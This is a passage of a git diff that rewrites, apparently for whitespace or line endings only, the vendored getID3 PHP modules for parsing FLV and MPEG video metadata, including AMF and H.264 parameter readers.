($pic_height_in_map_units_minus1 + 1) * 16) - ($frame_crop_top_offset * 2) - ($frame_crop_bottom_offset * 2); - } - } - - /** - * @param int $bits - */ - public function skipBits($bits) { - $newBits = $this->currentBits + $bits; - $this->currentBytes += (int)floor($newBits / 8); - $this->currentBits = $newBits % 8; - } - - /** - * @return int - */ - public function getBit() { - $result = (getid3_lib::BigEndian2Int(substr($this->sps, $this->currentBytes, 1)) >> (7 - $this->currentBits)) & 0x01; - $this->skipBits(1); - return $result; - } - - /** - * @param int $bits - * - * @return int - */ - public function getBits($bits) { - $result = 0; - for ($i = 0; $i < $bits; $i++) { - $result = ($result << 1) + $this->getBit(); - } - return $result; - } - - /** - * @return int - */ - public function expGolombUe() { - $significantBits = 0; - $bit = $this->getBit(); - while ($bit == 0) { - $significantBits++; - $bit = $this->getBit(); - - if ($significantBits > 31) { - // something is broken, this is an emergency escape to prevent infinite loops - return 0; - } - } - return (1 << $significantBits) + $this->getBits($significantBits) - 1; - } - - /** - * @return int - */ - public function expGolombSe() { - $result = $this->expGolombUe(); - if (($result & 0x01) == 0) { - return -($result >> 1); - } else { - return ($result + 1) >> 1; - } - } - - /** - * @return int - */ - public function getWidth() { - return $this->width; - } - - /** - * @return int - */ - public function getHeight() { - return $this->height; - } -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio-video.flv.php // +// module for analyzing Shockwave Flash Video files // +// dependencies: NONE // +// // +///////////////////////////////////////////////////////////////// +// // +// FLV module by Seth Kaufman // +// // +// * version 0.1 (26 June 2005) // +// // +// * version 0.1.1 (15 July 2005) // +// minor modifications by James Heinrich // +// // +// * version 0.2 (22 February 2006) // +// Support for On2 VP6 codec and meta information // +// by Steve Webster // +// // +// * version 0.3 (15 June 2006) // +// Modified to not read entire file into memory // +// by James Heinrich // +// // +// * version 0.4 (07 December 2007) // +// Bugfixes for incorrectly parsed FLV dimensions // +// and incorrect parsing of onMetaTag // +// by Evgeny Moysevich // +// // +// * version 0.5 (21 May 2009) // +// Fixed parsing of audio tags and added additional codec // +// details. The duration is now read from onMetaTag (if // +// exists), rather than parsing whole file // +// by Nigel Barnes // +// // +// * version 0.6 (24 May 2009) // +// Better parsing of files with h264 video // +// by Evgeny Moysevich // +// // +// * version 0.6.1 (30 May 2011) // +// prevent infinite loops in expGolombUe() // +// // +// * version 0.7.0 (16 Jul 2013) // +// handle GETID3_FLV_VIDEO_VP6FLV_ALPHA // +// improved AVCSequenceParameterSetReader::readData() // +// by Xander Schouwerwou // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +define('GETID3_FLV_TAG_AUDIO', 8); +define('GETID3_FLV_TAG_VIDEO', 9); +define('GETID3_FLV_TAG_META', 18); + +define('GETID3_FLV_VIDEO_H263', 2); +define('GETID3_FLV_VIDEO_SCREEN', 3); +define('GETID3_FLV_VIDEO_VP6FLV', 4); +define('GETID3_FLV_VIDEO_VP6FLV_ALPHA', 5); +define('GETID3_FLV_VIDEO_SCREENV2', 6); +define('GETID3_FLV_VIDEO_H264', 7); + +define('H264_AVC_SEQUENCE_HEADER', 0); +define('H264_PROFILE_BASELINE', 66); +define('H264_PROFILE_MAIN', 77); +define('H264_PROFILE_EXTENDED', 88); +define('H264_PROFILE_HIGH', 100); +define('H264_PROFILE_HIGH10', 110); +define('H264_PROFILE_HIGH422', 122); +define('H264_PROFILE_HIGH444', 144); +define('H264_PROFILE_HIGH444_PREDICTIVE', 244); + +class getid3_flv extends getid3_handler +{ + const magic = 'FLV'; + + /** + * Break out of the loop if too many frames have been scanned; only scan this + * many if meta frame does not contain useful duration. + * + * @var int + */ + public $max_frames = 100000; + + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $this->fseek($info['avdataoffset']); + + $FLVdataLength = $info['avdataend'] - $info['avdataoffset']; + $FLVheader = $this->fread(5); + + $info['fileformat'] = 'flv'; + $info['flv']['header']['signature'] = substr($FLVheader, 0, 3); + $info['flv']['header']['version'] = getid3_lib::BigEndian2Int(substr($FLVheader, 3, 1)); + $TypeFlags = getid3_lib::BigEndian2Int(substr($FLVheader, 4, 1)); + + if ($info['flv']['header']['signature'] != self::magic) { + $this->error('Expecting "'.getid3_lib::PrintHexBytes(self::magic).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($info['flv']['header']['signature']).'"'); + unset($info['flv'], $info['fileformat']); + return false; + } + + $info['flv']['header']['hasAudio'] = (bool) ($TypeFlags & 0x04); + $info['flv']['header']['hasVideo'] = (bool) ($TypeFlags & 0x01); + + $FrameSizeDataLength = getid3_lib::BigEndian2Int($this->fread(4)); + $FLVheaderFrameLength = 9; + if ($FrameSizeDataLength > $FLVheaderFrameLength) { + $this->fseek($FrameSizeDataLength - $FLVheaderFrameLength, SEEK_CUR); + } + $Duration = 0; + $found_video = false; + $found_audio = false; + $found_meta = false; + $found_valid_meta_playtime = false; + $tagParseCount = 0; + $info['flv']['framecount'] = array('total'=>0, 'audio'=>0, 'video'=>0); + $flv_framecount = &$info['flv']['framecount']; + while ((($this->ftell() + 16) < $info['avdataend']) && (($tagParseCount++ <= $this->max_frames) || !$found_valid_meta_playtime)) { + $ThisTagHeader = $this->fread(16); + + $PreviousTagLength = getid3_lib::BigEndian2Int(substr($ThisTagHeader, 0, 4)); + $TagType = getid3_lib::BigEndian2Int(substr($ThisTagHeader, 4, 1)); + $DataLength = getid3_lib::BigEndian2Int(substr($ThisTagHeader, 5, 3)); + $Timestamp = getid3_lib::BigEndian2Int(substr($ThisTagHeader, 8, 3)); + $LastHeaderByte = getid3_lib::BigEndian2Int(substr($ThisTagHeader, 15, 1)); + $NextOffset = $this->ftell() - 1 + $DataLength; + if ($Timestamp > $Duration) { + $Duration = $Timestamp; + } + + $flv_framecount['total']++; + switch ($TagType) { + case GETID3_FLV_TAG_AUDIO: + $flv_framecount['audio']++; + if (!$found_audio) { + $found_audio = true; + $info['flv']['audio']['audioFormat'] = ($LastHeaderByte >> 4) & 0x0F; + $info['flv']['audio']['audioRate'] = ($LastHeaderByte >> 2) & 0x03; + $info['flv']['audio']['audioSampleSize'] = ($LastHeaderByte >> 1) & 0x01; + $info['flv']['audio']['audioType'] = $LastHeaderByte & 0x01; + } + break; + + case GETID3_FLV_TAG_VIDEO: + $flv_framecount['video']++; + if (!$found_video) { + $found_video = true; + $info['flv']['video']['videoCodec'] = $LastHeaderByte & 0x07; + + $FLVvideoHeader = $this->fread(11); + $PictureSizeEnc = array(); + + if ($info['flv']['video']['videoCodec'] == GETID3_FLV_VIDEO_H264) { + // this code block contributed by: moysevichØgmail*com + + $AVCPacketType = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 0, 1)); + if ($AVCPacketType == H264_AVC_SEQUENCE_HEADER) { + // read AVCDecoderConfigurationRecord + $configurationVersion = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 4, 1)); + $AVCProfileIndication = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 5, 1)); + $profile_compatibility = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 6, 1)); + $lengthSizeMinusOne = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 7, 1)); + $numOfSequenceParameterSets = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 8, 1)); + + if (($numOfSequenceParameterSets & 0x1F) != 0) { + // there is at least one SequenceParameterSet + // read size of the first SequenceParameterSet + //$spsSize = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 9, 2)); + $spsSize = getid3_lib::LittleEndian2Int(substr($FLVvideoHeader, 9, 2)); + // read the first SequenceParameterSet + $sps = $this->fread($spsSize); + if (strlen($sps) == $spsSize) { // make sure that whole SequenceParameterSet was red + $spsReader = new AVCSequenceParameterSetReader($sps); + $spsReader->readData(); + $info['video']['resolution_x'] = $spsReader->getWidth(); + $info['video']['resolution_y'] = $spsReader->getHeight(); + } + } + } + // end: moysevichØgmail*com + + } elseif ($info['flv']['video']['videoCodec'] == GETID3_FLV_VIDEO_H263) { + + $PictureSizeType = (getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 3, 2))) >> 7; + $PictureSizeType = $PictureSizeType & 0x0007; + $info['flv']['header']['videoSizeType'] = $PictureSizeType; + switch ($PictureSizeType) { + case 0: + //$PictureSizeEnc = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 5, 2)); + //$PictureSizeEnc <<= 1; + //$info['video']['resolution_x'] = ($PictureSizeEnc & 0xFF00) >> 8; + //$PictureSizeEnc = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 6, 2)); + //$PictureSizeEnc <<= 1; + //$info['video']['resolution_y'] = ($PictureSizeEnc & 0xFF00) >> 8; + + $PictureSizeEnc['x'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 4, 2)) >> 7; + $PictureSizeEnc['y'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 5, 2)) >> 7; + $info['video']['resolution_x'] = $PictureSizeEnc['x'] & 0xFF; + $info['video']['resolution_y'] = $PictureSizeEnc['y'] & 0xFF; + break; + + case 1: + $PictureSizeEnc['x'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 4, 3)) >> 7; + $PictureSizeEnc['y'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 6, 3)) >> 7; + $info['video']['resolution_x'] = $PictureSizeEnc['x'] & 0xFFFF; + $info['video']['resolution_y'] = $PictureSizeEnc['y'] & 0xFFFF; + break; + + case 2: + $info['video']['resolution_x'] = 352; + $info['video']['resolution_y'] = 288; + break; + + case 3: + $info['video']['resolution_x'] = 176; + $info['video']['resolution_y'] = 144; + break; + + case 4: + $info['video']['resolution_x'] = 128; + $info['video']['resolution_y'] = 96; + break; + + case 5: + $info['video']['resolution_x'] = 320; + $info['video']['resolution_y'] = 240; + break; + + case 6: + $info['video']['resolution_x'] = 160; + $info['video']['resolution_y'] = 120; + break; + + default: + $info['video']['resolution_x'] = 0; + $info['video']['resolution_y'] = 0; + break; + + } + + } elseif ($info['flv']['video']['videoCodec'] == GETID3_FLV_VIDEO_VP6FLV_ALPHA) { + + /* contributed by schouwerwouØgmail*com */ + if (!isset($info['video']['resolution_x'])) { // only when meta data isn't set + $PictureSizeEnc['x'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 6, 2)); + $PictureSizeEnc['y'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 7, 2)); + $info['video']['resolution_x'] = ($PictureSizeEnc['x'] & 0xFF) << 3; + $info['video']['resolution_y'] = ($PictureSizeEnc['y'] & 0xFF) << 3; + } + /* end schouwerwouØgmail*com */ + + } + if (!empty($info['video']['resolution_x']) && !empty($info['video']['resolution_y'])) { + $info['video']['pixel_aspect_ratio'] = $info['video']['resolution_x'] / $info['video']['resolution_y']; + } + } + break; + + // Meta tag + case GETID3_FLV_TAG_META: + if (!$found_meta) { + $found_meta = true; + $this->fseek(-1, SEEK_CUR); + $datachunk = $this->fread($DataLength); + $AMFstream = new AMFStream($datachunk); + $reader = new AMFReader($AMFstream); + $eventName = $reader->readData(); + $info['flv']['meta'][$eventName] = $reader->readData(); + unset($reader); + + $copykeys = array('framerate'=>'frame_rate', 'width'=>'resolution_x', 'height'=>'resolution_y', 'audiodatarate'=>'bitrate', 'videodatarate'=>'bitrate'); + foreach ($copykeys as $sourcekey => $destkey) { + if (isset($info['flv']['meta']['onMetaData'][$sourcekey])) { + switch ($sourcekey) { + case 'width': + case 'height': + $info['video'][$destkey] = intval(round($info['flv']['meta']['onMetaData'][$sourcekey])); + break; + case 'audiodatarate': + $info['audio'][$destkey] = getid3_lib::CastAsInt(round($info['flv']['meta']['onMetaData'][$sourcekey] * 1000)); + break; + case 'videodatarate': + case 'frame_rate': + default: + $info['video'][$destkey] = $info['flv']['meta']['onMetaData'][$sourcekey]; + break; + } + } + } + if (!empty($info['flv']['meta']['onMetaData']['duration'])) { + $found_valid_meta_playtime = true; + } + } + break; + + default: + // noop + break; + } + $this->fseek($NextOffset); + } + + $info['playtime_seconds'] = $Duration / 1000; + if ($info['playtime_seconds'] > 0) { + $info['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds']; + } + + if ($info['flv']['header']['hasAudio']) { + $info['audio']['codec'] = self::audioFormatLookup($info['flv']['audio']['audioFormat']); + $info['audio']['sample_rate'] = self::audioRateLookup($info['flv']['audio']['audioRate']); + $info['audio']['bits_per_sample'] = self::audioBitDepthLookup($info['flv']['audio']['audioSampleSize']); + + $info['audio']['channels'] = $info['flv']['audio']['audioType'] + 1; // 0=mono,1=stereo + $info['audio']['lossless'] = ($info['flv']['audio']['audioFormat'] ? false : true); // 0=uncompressed + $info['audio']['dataformat'] = 'flv'; + } + if (!empty($info['flv']['header']['hasVideo'])) { + $info['video']['codec'] = self::videoCodecLookup($info['flv']['video']['videoCodec']); + $info['video']['dataformat'] = 'flv'; + $info['video']['lossless'] = false; + } + + // Set information from meta + if (!empty($info['flv']['meta']['onMetaData']['duration'])) { + $info['playtime_seconds'] = $info['flv']['meta']['onMetaData']['duration']; + $info['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds']; + } + if (isset($info['flv']['meta']['onMetaData']['audiocodecid'])) { + $info['audio']['codec'] = self::audioFormatLookup($info['flv']['meta']['onMetaData']['audiocodecid']); + } + if (isset($info['flv']['meta']['onMetaData']['videocodecid'])) { + $info['video']['codec'] = self::videoCodecLookup($info['flv']['meta']['onMetaData']['videocodecid']); + } + return true; + } + + /** + * @param int $id + * + * @return string|false + */ + public static function audioFormatLookup($id) { + static $lookup = array( + 0 => 'Linear PCM, platform endian', + 1 => 'ADPCM', + 2 => 'mp3', + 3 => 'Linear PCM, little endian', + 4 => 'Nellymoser 16kHz mono', + 5 => 'Nellymoser 8kHz mono', + 6 => 'Nellymoser', + 7 => 'G.711A-law logarithmic PCM', + 8 => 'G.711 mu-law logarithmic PCM', + 9 => 'reserved', + 10 => 'AAC', + 11 => 'Speex', + 12 => false, // unknown? + 13 => false, // unknown? + 14 => 'mp3 8kHz', + 15 => 'Device-specific sound', + ); + return (isset($lookup[$id]) ? $lookup[$id] : false); + } + + /** + * @param int $id + * + * @return int|false + */ + public static function audioRateLookup($id) { + static $lookup = array( + 0 => 5500, + 1 => 11025, + 2 => 22050, + 3 => 44100, + ); + return (isset($lookup[$id]) ? $lookup[$id] : false); + } + + /** + * @param int $id + * + * @return int|false + */ + public static function audioBitDepthLookup($id) { + static $lookup = array( + 0 => 8, + 1 => 16, + ); + return (isset($lookup[$id]) ? $lookup[$id] : false); + } + + /** + * @param int $id + * + * @return string|false + */ + public static function videoCodecLookup($id) { + static $lookup = array( + GETID3_FLV_VIDEO_H263 => 'Sorenson H.263', + GETID3_FLV_VIDEO_SCREEN => 'Screen video', + GETID3_FLV_VIDEO_VP6FLV => 'On2 VP6', + GETID3_FLV_VIDEO_VP6FLV_ALPHA => 'On2 VP6 with alpha channel', + GETID3_FLV_VIDEO_SCREENV2 => 'Screen video v2', + GETID3_FLV_VIDEO_H264 => 'Sorenson H.264', + ); + return (isset($lookup[$id]) ? $lookup[$id] : false); + } +} + +class AMFStream +{ + /** + * @var string + */ + public $bytes; + + /** + * @var int + */ + public $pos; + + /** + * @param string $bytes + */ + public function __construct(&$bytes) { + $this->bytes =& $bytes; + $this->pos = 0; + } + + /** + * @return int + */ + public function readByte() { // 8-bit + return ord(substr($this->bytes, $this->pos++, 1)); + } + + /** + * @return int + */ + public function readInt() { // 16-bit + return ($this->readByte() << 8) + $this->readByte(); + } + + /** + * @return int + */ + public function readLong() { // 32-bit + return ($this->readByte() << 24) + ($this->readByte() << 16) + ($this->readByte() << 8) + $this->readByte(); + } + + /** + * @return float|false + */ + public function readDouble() { + return getid3_lib::BigEndian2Float($this->read(8)); + } + + /** + * @return string + */ + public function readUTF() { + $length = $this->readInt(); + return $this->read($length); + } + + /** + * @return string + */ + public function readLongUTF() { + $length = $this->readLong(); + return $this->read($length); + } + + /** + * @param int $length + * + * @return string + */ + public function read($length) { + $val = substr($this->bytes, $this->pos, $length); + $this->pos += $length; + return $val; + } + + /** + * @return int + */ + public function peekByte() { + $pos = $this->pos; + $val = $this->readByte(); + $this->pos = $pos; + return $val; + } + + /** + * @return int + */ + public function peekInt() { + $pos = $this->pos; + $val = $this->readInt(); + $this->pos = $pos; + return $val; + } + + /** + * @return int + */ + public function peekLong() { + $pos = $this->pos; + $val = $this->readLong(); + $this->pos = $pos; + return $val; + } + + /** + * @return float|false + */ + public function peekDouble() { + $pos = $this->pos; + $val = $this->readDouble(); + $this->pos = $pos; + return $val; + } + + /** + * @return string + */ + public function peekUTF() { + $pos = $this->pos; + $val = $this->readUTF(); + $this->pos = $pos; + return $val; + } + + /** + * @return string + */ + public function peekLongUTF() { + $pos = $this->pos; + $val = $this->readLongUTF(); + $this->pos = $pos; + return $val; + } +} + +class AMFReader +{ + /** + * @var AMFStream + */ + public $stream; + + /** + * @param AMFStream $stream + */ + public function __construct(AMFStream $stream) { + $this->stream = $stream; + } + + /** + * @return mixed + */ + public function readData() { + $value = null; + + $type = $this->stream->readByte(); + switch ($type) { + + // Double + case 0: + $value = $this->readDouble(); + break; + + // Boolean + case 1: + $value = $this->readBoolean(); + break; + + // String + case 2: + $value = $this->readString(); + break; + + // Object + case 3: + $value = $this->readObject(); + break; + + // null + case 6: + return null; + + // Mixed array + case 8: + $value = $this->readMixedArray(); + break; + + // Array + case 10: + $value = $this->readArray(); + break; + + // Date + case 11: + $value = $this->readDate(); + break; + + // Long string + case 13: + $value = $this->readLongString(); + break; + + // XML (handled as string) + case 15: + $value = $this->readXML(); + break; + + // Typed object (handled as object) + case 16: + $value = $this->readTypedObject(); + break; + + // Long string + default: + $value = '(unknown or unsupported data type)'; + break; + } + + return $value; + } + + /** + * @return float|false + */ + public function readDouble() { + return $this->stream->readDouble(); + } + + /** + * @return bool + */ + public function readBoolean() { + return $this->stream->readByte() == 1; + } + + /** + * @return string + */ + public function readString() { + return $this->stream->readUTF(); + } + + /** + * @return array + */ + public function readObject() { + // Get highest numerical index - ignored +// $highestIndex = $this->stream->readLong(); + + $data = array(); + $key = null; + + while ($key = $this->stream->readUTF()) { + $data[$key] = $this->readData(); + } + // Mixed array record ends with empty string (0x00 0x00) and 0x09 + if (($key == '') && ($this->stream->peekByte() == 0x09)) { + // Consume byte + $this->stream->readByte(); + } + return $data; + } + + /** + * @return array + */ + public function readMixedArray() { + // Get highest numerical index - ignored + $highestIndex = $this->stream->readLong(); + + $data = array(); + $key = null; + + while ($key = $this->stream->readUTF()) { + if (is_numeric($key)) { + $key = (int) $key; + } + $data[$key] = $this->readData(); + } + // Mixed array record ends with empty string (0x00 0x00) and 0x09 + if (($key == '') && ($this->stream->peekByte() == 0x09)) { + // Consume byte + $this->stream->readByte(); + } + + return $data; + } + + /** + * @return array + */ + public function readArray() { + $length = $this->stream->readLong(); + $data = array(); + + for ($i = 0; $i < $length; $i++) { + $data[] = $this->readData(); + } + return $data; + } + + /** + * @return float|false + */ + public function readDate() { + $timestamp = $this->stream->readDouble(); + $timezone = $this->stream->readInt(); + return $timestamp; + } + + /** + * @return string + */ + public function readLongString() { + return $this->stream->readLongUTF(); + } + + /** + * @return string + */ + public function readXML() { + return $this->stream->readLongUTF(); + } + + /** + * @return array + */ + public function readTypedObject() { + $className = $this->stream->readUTF(); + return $this->readObject(); + } +} + +class AVCSequenceParameterSetReader +{ + /** + * @var string + */ + public $sps; + public $start = 0; + public $currentBytes = 0; + public $currentBits = 0; + + /** + * @var int + */ + public $width; + + /** + * @var int + */ + public $height; + + /** + * @param string $sps + */ + public function __construct($sps) { + $this->sps = $sps; + } + + public function readData() { + $this->skipBits(8); + $this->skipBits(8); + $profile = $this->getBits(8); // read profile + if ($profile > 0) { + $this->skipBits(8); + $level_idc = $this->getBits(8); // level_idc + $this->expGolombUe(); // seq_parameter_set_id // sps + $this->expGolombUe(); // log2_max_frame_num_minus4 + $picOrderType = $this->expGolombUe(); // pic_order_cnt_type + if ($picOrderType == 0) { + $this->expGolombUe(); // log2_max_pic_order_cnt_lsb_minus4 + } elseif ($picOrderType == 1) { + $this->skipBits(1); // delta_pic_order_always_zero_flag + $this->expGolombSe(); // offset_for_non_ref_pic + $this->expGolombSe(); // offset_for_top_to_bottom_field + $num_ref_frames_in_pic_order_cnt_cycle = $this->expGolombUe(); // num_ref_frames_in_pic_order_cnt_cycle + for ($i = 0; $i < $num_ref_frames_in_pic_order_cnt_cycle; $i++) { + $this->expGolombSe(); // offset_for_ref_frame[ i ] + } + } + $this->expGolombUe(); // num_ref_frames + $this->skipBits(1); // gaps_in_frame_num_value_allowed_flag + $pic_width_in_mbs_minus1 = $this->expGolombUe(); // pic_width_in_mbs_minus1 + $pic_height_in_map_units_minus1 = $this->expGolombUe(); // pic_height_in_map_units_minus1 + + $frame_mbs_only_flag = $this->getBits(1); // frame_mbs_only_flag + if ($frame_mbs_only_flag == 0) { + $this->skipBits(1); // mb_adaptive_frame_field_flag + } + $this->skipBits(1); // direct_8x8_inference_flag + $frame_cropping_flag = $this->getBits(1); // frame_cropping_flag + + $frame_crop_left_offset = 0; + $frame_crop_right_offset = 0; + $frame_crop_top_offset = 0; + $frame_crop_bottom_offset = 0; + + if ($frame_cropping_flag) { + $frame_crop_left_offset = $this->expGolombUe(); // frame_crop_left_offset + $frame_crop_right_offset = $this->expGolombUe(); // frame_crop_right_offset + $frame_crop_top_offset = $this->expGolombUe(); // frame_crop_top_offset + $frame_crop_bottom_offset = $this->expGolombUe(); // frame_crop_bottom_offset + } + $this->skipBits(1); // vui_parameters_present_flag + // etc + + $this->width = (($pic_width_in_mbs_minus1 + 1) * 16) - ($frame_crop_left_offset * 2) - ($frame_crop_right_offset * 2); + $this->height = ((2 - $frame_mbs_only_flag) * ($pic_height_in_map_units_minus1 + 1) * 16) - ($frame_crop_top_offset * 2) - ($frame_crop_bottom_offset * 2); + } + } + + /** + * @param int $bits + */ + public function skipBits($bits) { + $newBits = $this->currentBits + $bits; + $this->currentBytes += (int)floor($newBits / 8); + $this->currentBits = $newBits % 8; + } + + /** + * @return int + */ + public function getBit() { + $result = (getid3_lib::BigEndian2Int(substr($this->sps, $this->currentBytes, 1)) >> (7 - $this->currentBits)) & 0x01; + $this->skipBits(1); + return $result; + } + + /** + * @param int $bits + * + * @return int + */ + public function getBits($bits) { + $result = 0; + for ($i = 0; $i < $bits; $i++) { + $result = ($result << 1) + $this->getBit(); + } + return $result; + } + + /** + * @return int + */ + public function expGolombUe() { + $significantBits = 0; + $bit = $this->getBit(); + while ($bit == 0) { + $significantBits++; + $bit = $this->getBit(); + + if ($significantBits > 31) { + // something is broken, this is an emergency escape to prevent infinite loops + return 0; + } + } + return (1 << $significantBits) + $this->getBits($significantBits) - 1; + } + + /** + * @return int + */ + public function expGolombSe() { + $result = $this->expGolombUe(); + if (($result & 0x01) == 0) { + return -($result >> 1); + } else { + return ($result + 1) >> 1; + } + } + + /** + * @return int + */ + public function getWidth() { + return $this->width; + } + + /** + * @return int + */ + public function getHeight() { + return $this->height; + } +} diff --git a/vendor/james-heinrich/getid3/getid3/module.audio-video.mpeg.php b/vendor/james-heinrich/getid3/getid3/module.audio-video.mpeg.php index 6c037824bd..0504da197c 100644 --- a/vendor/james-heinrich/getid3/getid3/module.audio-video.mpeg.php +++ b/vendor/james-heinrich/getid3/getid3/module.audio-video.mpeg.php @@ -1,683 +1,683 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.audio-video.mpeg.php // -// module for analyzing MPEG files // -// dependencies: module.audio.mp3.php // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} -getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.mp3.php', __FILE__, true); - -class getid3_mpeg extends getid3_handler -{ - - const START_CODE_BASE = "\x00\x00\x01"; - const VIDEO_PICTURE_START = "\x00\x00\x01\x00"; - const VIDEO_USER_DATA_START = "\x00\x00\x01\xB2"; - const VIDEO_SEQUENCE_HEADER = "\x00\x00\x01\xB3"; - const VIDEO_SEQUENCE_ERROR = "\x00\x00\x01\xB4"; - const VIDEO_EXTENSION_START = "\x00\x00\x01\xB5"; - const VIDEO_SEQUENCE_END = "\x00\x00\x01\xB7"; - const VIDEO_GROUP_START = "\x00\x00\x01\xB8"; - const AUDIO_START = "\x00\x00\x01\xC0"; - - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $info['fileformat'] = 'mpeg'; - $this->fseek($info['avdataoffset']); - - $MPEGstreamData = $this->fread($this->getid3->option_fread_buffer_size); - $MPEGstreamBaseOffset = 0; // how far are we from the beginning of the file data ($info['avdataoffset']) - $MPEGstreamDataOffset = 0; // how far are we from the beginning of the buffer data (~32kB) - - $StartCodeValue = false; - $prevStartCodeValue = false; - - $GOPcounter = -1; - $FramesByGOP = array(); - $ParsedAVchannels = array(); - - do { -//echo $MPEGstreamDataOffset.' vs '.(strlen($MPEGstreamData) - 1024).'
                              '; - if ($MPEGstreamDataOffset > (strlen($MPEGstreamData) - 16384)) { - // buffer running low, get more data -//echo 'reading more data
                              '; - $MPEGstreamData .= $this->fread($this->getid3->option_fread_buffer_size); - if (strlen($MPEGstreamData) > $this->getid3->option_fread_buffer_size) { - $MPEGstreamData = substr($MPEGstreamData, $MPEGstreamDataOffset); - $MPEGstreamBaseOffset += $MPEGstreamDataOffset; - $MPEGstreamDataOffset = 0; - } - } - if (($StartCodeOffset = strpos($MPEGstreamData, self::START_CODE_BASE, $MPEGstreamDataOffset)) === false) { -//echo 'no more start codes found.
                              '; - break; - } else { - $MPEGstreamDataOffset = $StartCodeOffset; - $prevStartCodeValue = $StartCodeValue; - $StartCodeValue = ord(substr($MPEGstreamData, $StartCodeOffset + 3, 1)); -//echo 'Found "'.strtoupper(dechex($StartCodeValue)).'" at offset '.($MPEGstreamBaseOffset + $StartCodeOffset).' ($MPEGstreamDataOffset = '.$MPEGstreamDataOffset.')
                              '; - } - $MPEGstreamDataOffset += 4; - switch ($StartCodeValue) { - - case 0x00: // picture_start_code - if (!empty($info['mpeg']['video']['bitrate_mode']) && ($info['mpeg']['video']['bitrate_mode'] == 'vbr')) { - $bitstream = getid3_lib::BigEndian2Bin(substr($MPEGstreamData, $StartCodeOffset + 4, 4)); - $bitstreamoffset = 0; - - $PictureHeader = array(); - - $PictureHeader['temporal_reference'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 10); // 10-bit unsigned integer associated with each input picture. It is incremented by one, modulo 1024, for each input frame. When a frame is coded as two fields the temporal reference in the picture header of both fields is the same. Following a group start header the temporal reference of the earliest picture (in display order) shall be reset to zero. - $PictureHeader['picture_coding_type'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 3); // 3 bits for picture_coding_type - $PictureHeader['vbv_delay'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 16); // 16 bits for vbv_delay - //... etc - - $FramesByGOP[$GOPcounter][] = $PictureHeader; - } - break; - - case 0xB3: // sequence_header_code - // Note: purposely doing the less-pretty (and probably a bit slower) method of using string of bits rather than bitwise operations. - // Mostly because PHP 32-bit doesn't handle unsigned integers well for bitwise operation. - // Also the MPEG stream is designed as a bitstream and often doesn't align nicely with byte boundaries. - $info['video']['codec'] = 'MPEG-1'; // will be updated if extension_start_code found - - $bitstream = getid3_lib::BigEndian2Bin(substr($MPEGstreamData, $StartCodeOffset + 4, 8)); - $bitstreamoffset = 0; - - $info['mpeg']['video']['raw']['horizontal_size_value'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 12); // 12 bits for horizontal frame size. Note: horizontal_size_extension, if present, will add 2 most-significant bits to this value - $info['mpeg']['video']['raw']['vertical_size_value'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 12); // 12 bits for vertical frame size. Note: vertical_size_extension, if present, will add 2 most-significant bits to this value - $info['mpeg']['video']['raw']['aspect_ratio_information'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 4); // 4 bits for aspect_ratio_information - $info['mpeg']['video']['raw']['frame_rate_code'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 4); // 4 bits for Frame Rate id code - $info['mpeg']['video']['raw']['bitrate'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 18); // 18 bits for bit_rate_value (18 set bits = VBR, otherwise bitrate = this value * 400) - $marker_bit = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // The term "marker_bit" indicates a one bit field in which the value zero is forbidden. These marker bits are introduced at several points in the syntax to avoid start code emulation. - $info['mpeg']['video']['raw']['vbv_buffer_size'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 10); // 10 bits vbv_buffer_size_value - $info['mpeg']['video']['raw']['constrained_param_flag'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: constrained_param_flag - $info['mpeg']['video']['raw']['load_intra_quantiser_matrix'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: load_intra_quantiser_matrix - - if ($info['mpeg']['video']['raw']['load_intra_quantiser_matrix']) { - $bitstream .= getid3_lib::BigEndian2Bin(substr($MPEGstreamData, $StartCodeOffset + 12, 64)); - for ($i = 0; $i < 64; $i++) { - $info['mpeg']['video']['raw']['intra_quantiser_matrix'][$i] = self::readBitsFromStream($bitstream, 